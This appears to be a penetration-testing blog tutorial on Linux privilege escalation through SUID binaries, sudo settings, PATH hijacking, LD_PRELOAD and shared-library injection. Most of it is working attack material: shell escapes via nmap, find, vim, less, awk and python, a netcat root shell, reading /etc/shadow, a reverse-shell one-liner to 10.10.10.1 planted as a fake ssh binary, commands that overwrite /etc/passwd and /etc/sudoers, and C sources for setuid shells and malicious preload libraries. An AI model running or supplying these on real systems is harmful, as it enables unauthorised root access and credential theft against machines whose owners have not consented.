SUID Executables- Linux Privilege Escalation
Set User ID is a sort of permission which is assigned to a file and enables users to execute the file with the permissions of its owner account. There are so many reasons a Linux binary can have this type of permission set like assigning a special file access given by admin to a normal user. For example, the ping utility requires root privileges in order to open a network socket but it needs to be executed by standard users as well to verify connectivity with other hosts so admin should allow other users to execute the ping command.
However, some of the existing binaries and utilities can be used to escalate privileges to root if they have the SUID permission. Known Linux executables that can allow privilege escalation are:
- Nmap
- Vim
- find
- Bash
- More
- Less
- Awk/Mawk
- Python
- Nano
- cp
- Adding binary to the path
- Generating suid to c shell
- As a user with no password
- SUID binary with command path
- LD_PRELOAD
- SUID-so injection
The following commands can discover all the SUID executables that are running on the system. More specifically the commands will try to find files in the / directory owned by the user root that have the SUID permission bits, print them and then redirect all errors to /dev/null in order to list only the binaries that the user has permissions to access.
find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \; |
All of the binaries above will be executed with root privileges since they contain the “s” in their permissions and they are owned by the root user.
ls -l /usr/bin/nmap -rwsr-xr-x 1 root root 780676 2008 -04 -08 10: 04 /usr/bin/nmap |
Nmap
Older versions of Nmap (2.02 to 5.21) had an interactive mode that allowed users to execute shell commands. Since Nmap is in the list of binaries that are executed with root privileges it is possible to use the interactive console in order to run a shell with the same privileges.
nmap -V |
The interactive mode can start by executing Nmap with the parameter “interactive”
nmap --interactive |
The following command will give an elevated shell.
nmap> !sh sh-3.2# whoami root |
Root Shell via Suid Nmap Binary
Alternatively, there is a Metasploit module that performs privilege escalation via SUID Nmap binaries.
exploit/unix/ local /setuid_nmap |
Find
The utility find can be used to discover stored on the system. However, it is the ability to execute commands. Therefore if it is configured to run with the SUID permission all the commands that will be executed through find will be executed as root.
touch Certcube certcube -exec whoami \; |
Find Command Execution
Since the majority of the Linux operating system have Netcat installed it is possible to upgrade the elevated command execution into a root shell.
find certcube -exec netcat -lvp 5555 -e /bin/sh \; |
Run Netcat via Find
Connecting into the opened port will give a root shell.
netcat 192.168.1.189 5555 id cat /etc/shadow |
Root Shell via Find
Vim
The main use of Vim is to be a text editor. However, if it runs as SUID it will inherit the permission of the root user and therefore it could read all files on the system.
vim.tiny /etc/shadow |
Vim – Reading Root Files
Further root activities can be done by running a shell through Vim.
vim.tiny # Press ESC key :set shell=/bin/sh :shell |
Vim – Root Shell
Bash
The following command will open a bash shell as root.
bash -p bash-3.2# id uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service) |
Bash – Root Shell
Less
The utility Less can also execute an elevated shell. The same principle applies and for the More command.
less /etc/passwd !/bin/sh |
AWK/MAWK
awk/mawk 'BEGIN {system("/bin/sh")}'
PYTHON
python -c 'import pty;pty.spawn("/bin/sh")'
NANO
nano -s /bin/sh
/bin/sh
CP
cp /etc/passwd /tmp/passwd
use nano to change the following line
admin:x:1002:1002:,,,:/home/admin:/bin/bash
to
admin:x:0:0:,,,:/home/admin:/bin/bash
again
cp /tmp/passwd /etc/passwd
su admin
root!!!
Adding a binary to PATH, to hijack another SUID binary invokes it without the fully qualified path.
$ function /usr/bin/foo () { /usr/bin/echo "It works"; }
$ export -f /usr/bin/foo
$ /usr/bin/foo
It works
if you can just change PATH, the following will add a poisoned ssh binary:
set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f" >> /tmp/ssh
chmod +x ssh
Generating SUID C Shell for /bin/bash
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}
Without interactive shell
$ echo -e '#include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nint main(void){\n\tsetuid(0);\n\tsetgid(0);\n\tsystem("/bin/bash");\n}' > setuid.c
If you can get root to execute anything, the following will change a binary owner to him and set the SUID flag:
$ chown root:root /tmp/setuid;chmod 4777 /tmp/setuid;
If /etc/passwd has incorrect permissions, you can root:
$ echo 'root::0:0:root:/root:/bin/bash' > /etc/passwd; su
Add user www-data to sudoers with no password
$ echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
If you can sudo chmod:
$echo -e '#include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nint main(void){\n\tsetuid(0);\n\tsetgid(0);\n\tsystem("/bin/bash");\n}' > setuid.c $ sudo chown root:root /tmp/setuid; sudo chmod 4777 /tmp/setuid; /tmp/setuid
Sudo command/SUID binary without command path
If the sudo permission is given to a single command without specifying the path: hacker10 ALL= (root) less you can exploit it by changing the PATH variable
export PATH=/tmp:$PATH#Put your backdoor in /tmp and name it "less"sudo less
This technique can also be used if a suid binary executes another command without specifying the path to it (always check with strings the content of a weird SUID binary).
SUID binary with command path
If the suid binary executes another command specifying the path, then, you can try to export a function named as the command that the suid file is calling.
For example, if a suid binary calls /usr/sbin/service apache2 start you have to try to create the function and export it:
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }export -f /usr/sbin/service
Then, when you call the suid binary, this function will be executed
LD_PRELOAD
LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.
To avoid this mechanism being used as an attack vector for suid/sgid executable binaries, the loader ignores LD_PRELOAD if ruid != euid. For such binaries, only libraries in standard paths that are also suid/sgid will be preloaded.
If you find inside the output of sudo -l
the sentence: env_keep+=LD_PRELOAD and you can call some command with sudo, you can escalate privileges.
Defaults env_keep += LD_PRELOAD
Save as /tmp/pe.c
#include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash");}
Then compile it using:
cd /tmpgcc -fPIC -shared -o pe.so pe.c -nostartfiles
Finally, escalate privileges running
sudo LD_PRELOAD=pe.so <COMMAND> #Use any command you can run with sudo
SUID Binary – so injection
If you find some weird binary with SUID permissions, you could check if all the .so files are loaded correctly. In order to do so you can execute:
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
For example, if you find something like: pen(“/home/user/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory) you can exploit it.
Create the file /home/user/.config/libcalc.c with the code:
#include <stdio.h> #include <stdlib.h> static void inject() __attribute__((constructor)); void inject() {system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");}
Compile it using:
gcc -shared -o libcalc.so -fPIC libcalc.c
And execute the binary.
References:-
Recent Comments